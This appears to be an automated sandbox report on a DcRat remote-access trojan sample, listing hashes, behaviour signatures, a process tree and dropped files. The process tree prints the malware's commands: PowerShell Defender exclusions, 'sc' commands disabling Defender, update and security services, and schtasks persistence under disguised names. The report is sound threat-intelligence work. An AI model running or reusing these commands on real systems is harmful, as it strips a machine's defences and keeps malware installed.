Analysis

  • max time kernel
    143s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-03-2024 17:37

General

  • Target

    d6b8c1db03cd0f282e1718daf0dc35cf.exe

  • Size

    978KB

  • MD5

    d6b8c1db03cd0f282e1718daf0dc35cf

  • SHA1

    33435de2eb5be3e242bc75d3c6722e6e1a9b866c

  • SHA256

    7849b02c1912451ca4703361443e161953750e9783ee237985db9cafaff76c04

  • SHA512

    fa8bc7754009e447c1a87bd1e8183e5138eb2a637a6a3853f546af48a3564522b634341f2ed09117048f549953010c7fc4d67a72194121e23171f5f3f8746c27

  • SSDEEP

    24576:gHmSroFu1bU2XbykgUD5G5/XjaTG5lgUChKw9NQLH:gH7k4lyzBdToG5Wj9U

Malware Config

Signatures

  • DcRat 8 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Process spawned unexpected child process 7 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Turns off Windows Defender SpyNet reporting 2 TTPs
  • Windows security bypass 2 TTPs 3 IoCs
  • DCRat payload 1 IoCs

    Detects payload of DCRat, commonly dropped by NSIS installers.

  • Nirsoft 1 IoCs
  • Stops running service(s) 3 TTPs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Windows security modification 2 TTPs 11 IoCs
  • Adds Run key to start application 2 TTPs 7 IoCs
  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 22 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 7 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 22 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\d6b8c1db03cd0f282e1718daf0dc35cf.exe
    "C:\Users\Admin\AppData\Local\Temp\d6b8c1db03cd0f282e1718daf0dc35cf.exe"
    1⤵
    • DcRat
    • Modifies Windows Defender Real-time Protection settings
    • Windows security bypass
    • Checks computer location settings
    • Windows security modification
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3116
    • C:\Users\Admin\AppData\Local\Temp\b50e3949-8607-4de2-aa32-39f37bbeb8e9\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\b50e3949-8607-4de2-aa32-39f37bbeb8e9\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\b50e3949-8607-4de2-aa32-39f37bbeb8e9\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4876
      • C:\Users\Admin\AppData\Local\Temp\b50e3949-8607-4de2-aa32-39f37bbeb8e9\AdvancedRun.exe
        "C:\Users\Admin\AppData\Local\Temp\b50e3949-8607-4de2-aa32-39f37bbeb8e9\AdvancedRun.exe" /SpecialRun 4101d8 4876
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3448
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\d6b8c1db03cd0f282e1718daf0dc35cf.exe" -Force
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2424
    • C:\Users\Admin\AppData\Local\Temp\d6b8c1db03cd0f282e1718daf0dc35cf.exe
      "C:\Users\Admin\AppData\Local\Temp\d6b8c1db03cd0f282e1718daf0dc35cf.exe"
      2⤵
      • Checks computer location settings
      • Adds Run key to start application
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4884
      • C:\Recovery\WindowsRE\csrss.exe
        "C:\Recovery\WindowsRE\csrss.exe"
        3⤵
        • Windows security bypass
        • Checks computer location settings
        • Executes dropped EXE
        • Windows security modification
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1664
        • C:\Users\Admin\AppData\Local\Temp\7a0de871-a6d2-43c6-95fa-ae0f5b7f73ba\AdvancedRun.exe
          "C:\Users\Admin\AppData\Local\Temp\7a0de871-a6d2-43c6-95fa-ae0f5b7f73ba\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\7a0de871-a6d2-43c6-95fa-ae0f5b7f73ba\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:376
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7a0de871-a6d2-43c6-95fa-ae0f5b7f73ba\test.bat"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3116
            • C:\Windows\system32\sc.exe
              sc stop windefend
              6⤵
              • Launches sc.exe
              PID:2576
            • C:\Windows\system32\sc.exe
              sc config windefend start= disabled
              6⤵
              • Launches sc.exe
              PID:4396
            • C:\Windows\system32\sc.exe
              sc stop Sense
              6⤵
              • Launches sc.exe
              PID:772
            • C:\Windows\system32\sc.exe
              sc config Sense start= disabled
              6⤵
              • Launches sc.exe
              PID:1828
            • C:\Windows\system32\sc.exe
              sc stop wuauserv
              6⤵
              • Launches sc.exe
              PID:4960
            • C:\Windows\system32\sc.exe
              sc config wuauserv start= disabled
              6⤵
              • Launches sc.exe
              PID:4512
            • C:\Windows\system32\sc.exe
              sc stop usosvc
              6⤵
              • Launches sc.exe
              PID:1780
            • C:\Windows\system32\sc.exe
              sc config usosvc start= disabled
              6⤵
              • Launches sc.exe
              PID:2596
            • C:\Windows\system32\sc.exe
              sc stop WaasMedicSvc
              6⤵
              • Launches sc.exe
              PID:5008
            • C:\Windows\system32\sc.exe
              sc config WaasMedicSvc start= disabled
              6⤵
              • Launches sc.exe
              PID:964
            • C:\Windows\system32\sc.exe
              sc stop SecurityHealthService
              6⤵
              • Launches sc.exe
              PID:3192
            • C:\Windows\system32\sc.exe
              sc config SecurityHealthService start= disabled
              6⤵
              • Launches sc.exe
              PID:4456
            • C:\Windows\system32\sc.exe
              sc stop SDRSVC
              6⤵
              • Launches sc.exe
              PID:2852
            • C:\Windows\system32\sc.exe
              sc config SDRSVC start= disabled
              6⤵
              • Launches sc.exe
              PID:4500
            • C:\Windows\system32\sc.exe
              sc stop wscsvc
              6⤵
              • Launches sc.exe
              PID:1568
            • C:\Windows\system32\sc.exe
              sc config wscsvc start= disabled
              6⤵
              • Launches sc.exe
              PID:1444
            • C:\Windows\system32\sc.exe
              sc stop WdiServiceHost
              6⤵
              • Launches sc.exe
              PID:4516
            • C:\Windows\system32\sc.exe
              sc config WdiServiceHost start= disabled
              6⤵
              • Launches sc.exe
              PID:1692
            • C:\Windows\system32\sc.exe
              sc stop WdiSystemHost
              6⤵
              • Launches sc.exe
              PID:4208
            • C:\Windows\system32\sc.exe
              sc config WdiSystemHost start= disabled
              6⤵
              • Launches sc.exe
              PID:2272
            • C:\Windows\system32\sc.exe
              sc stop InstallService
              6⤵
              • Launches sc.exe
              PID:2220
            • C:\Windows\system32\sc.exe
              sc config InstallService Start= disabled
              6⤵
              • Launches sc.exe
              PID:3664
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Recovery\WindowsRE\csrss.exe" -Force
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2084
        • C:\Recovery\WindowsRE\csrss.exe
          "C:\Recovery\WindowsRE\csrss.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:768
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Windows\System32\wbem\WmiPerfClass\WmiPrvSE.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Creates scheduled task(s)
    PID:2176
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\sppsvc.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Creates scheduled task(s)
    PID:3124
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\csrss.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Creates scheduled task(s)
    PID:1932
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Documents and Settings\sppsvc.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Creates scheduled task(s)
    PID:4544
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\PerfLogs\dwm.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Creates scheduled task(s)
    PID:4536
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "unsecapp" /sc ONLOGON /tr "'C:\Windows\System32\wbem\PS_MMAgent\unsecapp.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Creates scheduled task(s)
    PID:4700
  • C:\Windows\system32\schtasks.exe
    schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\PerfLogs\RuntimeBroker.exe'" /rl HIGHEST /f
    1⤵
    • DcRat
    • Process spawned unexpected child process
    • Creates scheduled task(s)
    PID:1444

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\PerfLogs\dwm.exe

    Filesize

    978KB

    MD5

    d6b8c1db03cd0f282e1718daf0dc35cf

    SHA1

    33435de2eb5be3e242bc75d3c6722e6e1a9b866c

    SHA256

    7849b02c1912451ca4703361443e161953750e9783ee237985db9cafaff76c04

    SHA512

    fa8bc7754009e447c1a87bd1e8183e5138eb2a637a6a3853f546af48a3564522b634341f2ed09117048f549953010c7fc4d67a72194121e23171f5f3f8746c27

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\d6b8c1db03cd0f282e1718daf0dc35cf.exe.log

    Filesize

    1KB

    MD5

    5a0e7ec666b244e87c9100e06b4c7f18

    SHA1

    f42707d84ce725ee7938aaad1a9e834f69060502

    SHA256

    8d9d70ae22db232539a789212bd93286b688956a1cccdc53863686ce955d01df

    SHA512

    0e98b870c5226e67d8043cdcaad27f932bfcf84dcacf5c15dc5d6cf61b954ea8a99d295242f503d6a7bb94997b0e22a7176c9cece60d8fcc0c498a62d5f5a5b8

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    968cb9309758126772781b83adb8a28f

    SHA1

    8da30e71accf186b2ba11da1797cf67f8f78b47c

    SHA256

    92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

    SHA512

    4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    18KB

    MD5

    83944332dc622d0a5a06eda2f2928f2e

    SHA1

    79fa5210d505d325c7384ef2254e018b362ace29

    SHA256

    2e1563e8dd34d87a63de60641e9727699e366ea9ac006f6e80b64b84bc0280aa

    SHA512

    5dfa84f407bcb9dea434113e58c84f7cfd9898fe23ff41877393c4a14980480acb4dfa4bfab4cc3a074507e3e2a1afa8314795e4c4834a0000d1ebd66f0b1590

  • C:\Users\Admin\AppData\Local\Temp\7a0de871-a6d2-43c6-95fa-ae0f5b7f73ba\test.bat

    Filesize

    8KB

    MD5

    b2a5ef7d334bdf866113c6f4f9036aae

    SHA1

    f9027f2827b35840487efd04e818121b5a8541e0

    SHA256

    27426aa52448e564b5b9dff2dbe62037992ada8336a8e36560cee7a94930c45e

    SHA512

    8ed39ed39e03fa6d4e49167e8ca4823e47a221294945c141b241cfd1eb7d20314a15608da3fafc3c258ae2cfc535d3e5925b56caceee87acfb7d4831d267189e

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_afeov01n.hbu.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Local\Temp\b50e3949-8607-4de2-aa32-39f37bbeb8e9\AdvancedRun.exe

    Filesize

    88KB

    MD5

    17fc12902f4769af3a9271eb4e2dacce

    SHA1

    9a4a1581cc3971579574f837e110f3bd6d529dab

    SHA256

    29ae7b30ed8394c509c561f6117ea671ec412da50d435099756bbb257fafb10b

    SHA512

    036e0d62490c26dee27ef54e514302e1cc8a14de8ce3b9703bf7caf79cfae237e442c27a0edcf2c4fd41af4195ba9ed7e32e894767ce04467e79110e89522e4a

  • memory/768-115-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/768-154-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/768-153-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/1664-74-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/1664-114-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/2084-148-0x0000000007930000-0x0000000007944000-memory.dmp

    Filesize

    80KB

  • memory/2084-117-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/2084-116-0x0000000002AF0000-0x0000000002B00000-memory.dmp

    Filesize

    64KB

  • memory/2084-134-0x0000000002AF0000-0x0000000002B00000-memory.dmp

    Filesize

    64KB

  • memory/2084-135-0x000000007FAC0000-0x000000007FAD0000-memory.dmp

    Filesize

    64KB

  • memory/2084-152-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/2084-147-0x00000000078F0000-0x0000000007901000-memory.dmp

    Filesize

    68KB

  • memory/2084-136-0x00000000709B0000-0x00000000709FC000-memory.dmp

    Filesize

    304KB

  • memory/2084-146-0x00000000073D0000-0x0000000007473000-memory.dmp

    Filesize

    652KB

  • memory/2424-127-0x0000000007F60000-0x0000000007F6E000-memory.dmp

    Filesize

    56KB

  • memory/2424-133-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/2424-41-0x0000000006370000-0x00000000063D6000-memory.dmp

    Filesize

    408KB

  • memory/2424-48-0x00000000064E0000-0x0000000006834000-memory.dmp

    Filesize

    3.3MB

  • memory/2424-51-0x0000000005700000-0x000000000571E000-memory.dmp

    Filesize

    120KB

  • memory/2424-54-0x0000000006F60000-0x0000000006FAC000-memory.dmp

    Filesize

    304KB

  • memory/2424-35-0x0000000006290000-0x00000000062F6000-memory.dmp

    Filesize

    408KB

  • memory/2424-24-0x0000000003040000-0x0000000003076000-memory.dmp

    Filesize

    216KB

  • memory/2424-28-0x0000000005620000-0x0000000005630000-memory.dmp

    Filesize

    64KB

  • memory/2424-33-0x00000000059C0000-0x00000000059E2000-memory.dmp

    Filesize

    136KB

  • memory/2424-76-0x0000000005620000-0x0000000005630000-memory.dmp

    Filesize

    64KB

  • memory/2424-130-0x0000000008050000-0x0000000008058000-memory.dmp

    Filesize

    32KB

  • memory/2424-89-0x000000007F370000-0x000000007F380000-memory.dmp

    Filesize

    64KB

  • memory/2424-90-0x0000000007BA0000-0x0000000007BD2000-memory.dmp

    Filesize

    200KB

  • memory/2424-91-0x00000000709B0000-0x00000000709FC000-memory.dmp

    Filesize

    304KB

  • memory/2424-101-0x0000000007B80000-0x0000000007B9E000-memory.dmp

    Filesize

    120KB

  • memory/2424-102-0x0000000007BF0000-0x0000000007C93000-memory.dmp

    Filesize

    652KB

  • memory/2424-103-0x0000000008370000-0x00000000089EA000-memory.dmp

    Filesize

    6.5MB

  • memory/2424-104-0x0000000007D30000-0x0000000007D4A000-memory.dmp

    Filesize

    104KB

  • memory/2424-105-0x0000000007DA0000-0x0000000007DAA000-memory.dmp

    Filesize

    40KB

  • memory/2424-106-0x0000000007FB0000-0x0000000008046000-memory.dmp

    Filesize

    600KB

  • memory/2424-107-0x0000000007F30000-0x0000000007F41000-memory.dmp

    Filesize

    68KB

  • memory/2424-113-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/2424-129-0x0000000008070000-0x000000000808A000-memory.dmp

    Filesize

    104KB

  • memory/2424-30-0x0000000005620000-0x0000000005630000-memory.dmp

    Filesize

    64KB

  • memory/2424-29-0x0000000005C60000-0x0000000006288000-memory.dmp

    Filesize

    6.2MB

  • memory/2424-26-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/2424-128-0x0000000007F70000-0x0000000007F84000-memory.dmp

    Filesize

    80KB

  • memory/3116-6-0x00000000054F0000-0x000000000558C000-memory.dmp

    Filesize

    624KB

  • memory/3116-5-0x00000000051F0000-0x00000000051FA000-memory.dmp

    Filesize

    40KB

  • memory/3116-31-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/3116-0-0x00000000006F0000-0x00000000007EA000-memory.dmp

    Filesize

    1000KB

  • memory/3116-2-0x0000000005790000-0x0000000005D34000-memory.dmp

    Filesize

    5.6MB

  • memory/3116-3-0x0000000005280000-0x0000000005312000-memory.dmp

    Filesize

    584KB

  • memory/3116-4-0x0000000005270000-0x0000000005280000-memory.dmp

    Filesize

    64KB

  • memory/3116-7-0x0000000005590000-0x0000000005606000-memory.dmp

    Filesize

    472KB

  • memory/3116-9-0x0000000005410000-0x000000000542E000-memory.dmp

    Filesize

    120KB

  • memory/3116-1-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/3116-8-0x0000000005610000-0x0000000005706000-memory.dmp

    Filesize

    984KB

  • memory/4884-32-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB

  • memory/4884-34-0x00000000013F0000-0x0000000001400000-memory.dmp

    Filesize

    64KB

  • memory/4884-25-0x0000000000400000-0x00000000004AC000-memory.dmp

    Filesize

    688KB

  • memory/4884-75-0x0000000074D90000-0x0000000075540000-memory.dmp

    Filesize

    7.7MB